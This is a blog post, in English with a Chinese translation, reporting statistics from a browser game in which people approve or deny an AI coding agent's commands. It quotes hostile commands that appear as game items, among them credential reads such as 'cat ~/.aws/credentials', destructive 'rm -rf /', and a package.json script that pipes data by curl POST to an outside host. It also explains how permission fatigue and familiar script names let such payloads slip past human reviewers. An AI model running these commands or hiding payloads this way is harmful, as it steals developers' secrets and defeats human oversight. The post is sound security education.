商业产业 Hacker News Agent 2026-08-06T11:58 正文 ok 1239 words

40,000 局游戏数据显示：人类审批 AI Agent 命令时漏掉三分之一威胁

英文标题：🔶 Humans missed 1 in 3 threats approving AI agent commands across 40k game runs

一款模拟人类审核 AI 编程 Agent 命令的浏览器游戏，汇总了超过 40,000 局游戏和 409,000 次批准/拒绝决策。数据显示，玩家平均漏掉了三分之一的威胁，32.9% 的对局最终得分为负；伪装在熟悉的 `npm run` 脚本名称后的恶意载荷尤其容易被放行。研究还显示，持续出现的权限提示会带来注意力疲劳，而过度拦截安全命令同样会拖慢 Agent。对开发者而言，仅依赖人工逐条批准命令并非可靠防线，还需结合沙箱、凭证隔离和更合理的权限模型。

打开原文相关 3 · 机会 1

50.7 KB

46.0 KB

中文

几个月前，我发布了一个小型浏览器游戏：你将扮演 AI 编程 Agent 的人在回路（human-in-the-loop）审核者，在时间压力下批准或拒绝它的命令。有些命令是日常操作（git status、npm test），另一些则表明你的 Agent 已被控制，正将你的秘密发送到远程服务器（cat ~/.aws/credentials）。关于 Agent 执行命令相关威胁及其缓解措施的更多内容，可参见原始文章。

该游戏在 Hacker News 上获得了一些关注。在后来加入统计功能后（遗憾的是加得有点晚），我们可以更仔细地观察超过 40,000 局游戏和 409,000 次单独批准/拒绝决策的数据。让我们看看，作为抵御失控 Agent 最后一道防线的人在回路，表现究竟如何。

核心数据

普通玩家平均会漏掉 三分之一的威胁（平均准确率为 66.3%）
32.9% 的对局最终得分为负：已批准威胁和已拦截安全命令带来的惩罚，超过了所有正确操作的收益
35.2% 的玩家抓住了全部威胁，但只有 20.8% 的玩家能在拦截安全命令不超过五分之一的情况下做到这一点。其余玩家部分是靠拦截一切来实现的（并获得“Human Bottleneck”称号）
7% 的玩家批准了每一条提示：显然是 --dangerously-skip-permissions 的忠实拥趸

需要稍作说明：这是一款游戏，玩家看到的命令中约有 34% 是威胁。在日常工作中，这类威胁很少出现。玩家知道自己正在接受一项限时挑战。但以下数据或许有助于洞察：不同威胁之间的相对情况，以及人们对它们的总体认知程度。

威胁类别与漏检率

类别	示例	漏检率
明显的破坏性操作	`rm -rf /`、`chmod -R 777 /`	11.7%
持久性修改	crontab 注入、git config 劫持	23.8%
数据外传 / 代码执行	向未知 API 发起 curl 请求、拼写仿冒软件包	33.4%
越权访问	`cat ~/.aws/credentials`、`cat ~/.kube/config`	35.0%

明显具有破坏性的命令最容易被可靠地识别出来。那些实际会外传凭证的命令，被漏掉的概率却高出三倍。

`npm run` 盲区

游戏中漏检率最高的单条命令是 npm run analyze，有 64.7% 的情况下被批准。这条命令本身通常无害。但 npm run 实际上会运行项目 package.json 中定义的脚本。它既可能是运行 bundle 分析器之类的良性代码，也可能是此前被写入文件的注入代码。

游戏会在 Agent 的历史日志中告诉你该脚本的实际内容：

1✻ I'll run the bundle analyzer — it's already set up in the project scripts.
2  // package.json → scripts
3  "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 | 
4  curl -s -X POST https://api.bundle.track/report -d @-"

尽管如此，仍有三分之二的玩家批准了它，这表明权限提示正上方的历史日志可能没有被仔细阅读。游戏中有三条这样的命令，且它们都出现在漏检率最高的列表中：

命令	漏检率	排名（37 个威胁中）
`npm run analyze`	64.7%	第 1 名
`npm run setup`	48.0%	第 4 名
`npm run deploy`	44.9%	第 8 名

合并计算后，这三条命令的漏检率为 52.5%（n=9,482），而其他所有数据外传式攻击的漏检率为 28.4%。即使历史日志展示了载荷，将其隐藏在熟悉的脚本名称后，成功率仍会大致翻倍。

这其实是一个更大问题的症状。dns_snek 在 Hacker News 讨论帖中的表述很准确：

这是“危险操作被视作无害操作”的绝佳例子。逐条批准特定命令的整个模型简直荒谬至极。

npm run build = 运行写在 package.json 中的一条任意 shell 命令

与此同时，Agent 无需批准就可以执行以下任意操作：

编辑 package.json，写入任意构建命令

在 build.js 中植入恶意代码（由 npm run build 调用）

在 node_modules/xyz/index.js 中植入恶意代码（由 build.js 导入）

要求用户验证命令——这些命令绝大多数时候是安全的，但由于文件已被修改而不再安全——并不是一种强有力的防护措施。

压力下的漏检率上升

Anthropic 此前指出，Claude Code 中的权限疲劳确实存在，并给出了以下说明：

用户看到的批准请求越多，他们对每一条请求投入的注意力就越少；随着时间推移，他们在监督上会变得远不如先前谨慎。

尽管这是一款短时游戏，且用户已被告知存在威胁，我们仍可以看到游戏对局后段性能退化的一些迹象：

上图展示了整个会话过程中的威胁漏检率，玩家按其完成的命令数量分组。用户完成较少命令，可能是因为他们花了更多时间审查命令，也可能是因为犯错后游戏会冻结数秒作为惩罚。我已剔除了那些单纯拦截一切的用户。

所有分组在前几条命令中都有改善（热身？），然后漏检率在接近对局结束时再次攀升。当然，这也可能是倒计时即将结束带来的压力，使玩家更可能为了多完成几条命令而犯错。

警惕的代价：过度拦截

以下命令本意无害，却经常被拦截：

npm config set registry https://npm.internal —— 有 59% 的情况被拦截（设置内部镜像源）
rm -rf dist/ —— 有 45% 的情况被拦截（清理构建输出，在开始一次新构建前执行并不少见）
kill $(lsof -t -i:3000) —— 有 43% 的情况被拦截（释放服务器监听的端口，可能是因为进程崩溃）

这是人在回路困境的另一面。用户被要求批准实际上无害的命令，而拦截它们会拖慢 Agent。长期来看，这些噪声很可能导致用户放松警惕并批准恶意命令。Anthropic 的“Auto Mode”等功能试图通过在询问用户前自动判断命令是否安全来缓解这一问题，但正如上一篇文章所述，它们并非万无一失。

备受争议的 cat

cat ~/.zshrc 获得了 45.9% 玩家批准，是游戏中最具争议的命令。HN 上提出的异议是合理的：许多开发者不会在 shell 配置文件中保存任何秘密，因此对他们而言它确实无害。但对那些在其中导出 API 密钥的人来说，这就是凭证泄露。该命令的风险完全取决于 Agent 无法看到的配置。如果你改为在 .zshrc 中 source 一个单独的 secrets 文件，Agent 获得更多访问权限的风险就会降低。

总结

我很享受关注关于人在回路的讨论，并在此过程中进一步了解权限模型。尽管这只是一款游戏，我认为它确实展示了将人在回路作为 AI 编程 Agent 防护手段时的若干问题。大量噪声会带来疲劳，而开发者也并不总能掌握足够上下文，以迅速判断发生了哪些变化及其风险。

对于开发者来说，我们需要非常熟悉不同权限模型之间的权衡，以及如何降低相关风险，例如采用沙箱和隔离凭证及环境变量秘密。原始文章介绍了其中一些实用缓解措施。

如果你想在游戏中试试运气，可以访问：https://llmgame.scalex.dev

Alex Wauters

你好，我是 Alex。我撰写有关开发者安全以及构建、扩展软件系统的权衡的内容。我曾任 Uber Staff Engineer。

English / 原文

A couple of months ago I published a small browser game: you play the human-in-the-loop for an AI coding agent, approving or denying its commands under time pressure. Some commands are routine (git status, npm test) and some other commands indicate your agent has been possessed and is sending your secrets to a remote server (cat ~/.aws/credentials). More on the threats associated with agents running commands and how to mitigate them can be found in the original post.

The game garnered some interest on hacker news, and after adding in statistics (unfortunately a bit later on) we can take a closer look at the data of over 40,000 runs and 409,000 individual approve/deny decisions. Let’s see how the human-in-the-loop, our last line of defence against rogue agents, fared.

The headline numbers

The average player missed 1 in 3 threats (mean accuracy 66.3%)
32.9% of sessions ended with a negative score: penalties from approved threats and blocked safe commands outweighed everything done right
35.2% of players caught every threat, but only 20.8% managed that while blocking at most 1 in 5 of the safe commands. The rest got there partly by blocking everything (awarding the “Human Bottleneck” title)
7% approved every single prompt: big fans of --dangerously-skip-permissions

Small caveat: this was a game, where approximately 34% of the commands players saw were threats. In our day-to-day work these threats appear rarely. Players knew they were being tested in a time-boxed challenge. But the numbers below might be useful for garnering some insights on comparing threats and the general awareness of them against one another.

Threat categories and miss rates

Category	Examples	Miss rate
Obvious destructive	`rm -rf /`, `chmod -R 777 /`	11.7%
Persistent mutation	crontab injection, git config hijack	23.8%
Exfiltration / code execution	curl to unknown APIs, typosquatted packages	33.4%
Scope violations	`cat ~/.aws/credentials`, `cat ~/.kube/config`	35.0%

The blatantly destructive commands are caught most reliably. The commands that actually exfiltrate your credentials are missed three times as often.

The `npm run` blind spot

The single most-missed command in the game is npm run analyze, approved 64.7% of the time. The command by itself is typically innocent. But what npm run really does is run a script that’s defined in your project’s package.json. It could be benign code such as running a bundle analyzer, or injected code that was written to file before.

The game does tell you in the agent’s history log what that script actually contains:

1✻ I'll run the bundle analyzer — it's already set up in the project scripts.
2  // package.json → scripts
3  "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 | 
4  curl -s -X POST https://api.bundle.track/report -d @-"

Two thirds of players approved it anyway, indicating the history log just above the permission prompt may not be read closely. There are three of these in the game, and they appear in the most-missed list:

Command	Miss rate	Rank (of 37 threats)
`npm run analyze`	64.7%	1st
`npm run setup`	48.0%	4th
`npm run deploy`	44.9%	8th

Pooled, the three were missed 52.5% of the time (n=9,482) against 28.4% for every other exfiltration-style attack. Hiding a payload behind a familiar script name roughly doubles its success rate even when the payload is shown in the history log.

Which is really a symptom of the bigger problem, well put by dns_snek in the Hacker News thread:

That’s a great example of how dangerous actions are perceived as innocent. The entire model of approving specific commands is absolutely bonkers.

npm run build = run an arbitrary shell command written in package.json

Meanwhile the agent could have done any of the following without approval:

edited package.json to contain any arbitrary build command

planted malicious code in build.js (called by npm run build)

planted malicious code in node_modules/xyz/index.js (imported by build.js)

Asking the user to validate commands, which are nearly all of the time safe, but aren’t anymore because of modified files, is not a strong safeguard.

Miss rates increase under pressure

Anthropic previously noted permission fatigue is real in claude code, with the following quote:

The more approvals a user sees, the less attention they pay to each, becoming over time much less diligent in their supervision

And although it’s a short game where the user is warned about threats, we can see some signs of degradation towards the end of game runs:

The graph above shows the threat miss rate along the session, with the plays grouped together on how many commands the user completed. Users completing a lower number of commands can be due to the user taking more time to review them, or because of the game freezing for a couple of seconds after an error was made as penalty. I’ve removed all the users who simply blocked everything.

Every group improves over the first couple of commands (warming up?) and then the miss rates climb back up towards the end. Although this might also be the stress of the clock running out and the player becoming more likely to make mistakes to get some extra commands in.

The cost of vigilance: over-blocking

The following commands were benign in intent, but routinely blocked:

npm config set registry https://npm.internal — blocked 59% of the time (setting an internal mirror)
rm -rf dist/ — blocked 45% of the time (clearing build output, not uncommon to perform before a new build)
kill $(lsof -t -i:3000) — blocked 43% of the time (freeing the port the server is listening on, potentially because of a crashed process)

This is the other side of the human-in-the-loop dilemma. Users are asked to approve commands which are actually benign, and blocking them slows the agent down. Over time this noise will likely result in users dropping their guard and approving malicious commands. Features such as Anthropic’s ‘Auto Mode’ try to mitigate this by automatically trying to determine if a command is safe before asking you, but they are not fool-proof as mentioned in the previous post.

The contested cat

cat ~/.zshrc was approved by 45.9% of players, the most divisive command in the game. The objection (raised on HN) is fair: plenty of developers keep no secrets in their shell profile, so for them it is harmless. For the many who export API keys there, it’s credential disclosure. The command’s risk depends entirely on a setup the agent can’t see. If you source a separate secrets file from your .zshrc instead, the risk of your agent getting more access is reduced.

The takeaway

I’ve enjoyed following the discussions on the human-in-the-loop, and learning more on permission models along the way. While it’s just a game, I find it does demonstrate several issues with humans-in-the-loop as safeguard for AI coding agents. The high amount of noise introduces fatigue, and developers don’t always have the context of what has changed to quickly determine the risk.

For developers, we need to be very familiar with the trade-offs of different permissions models and how to reduce the risks involved such as applying sandboxing and separating credentials and env var secrets. The original post covers some of these practical mitigations.

If you want to try your luck at the game, you can find it here: https://llmgame.scalex.dev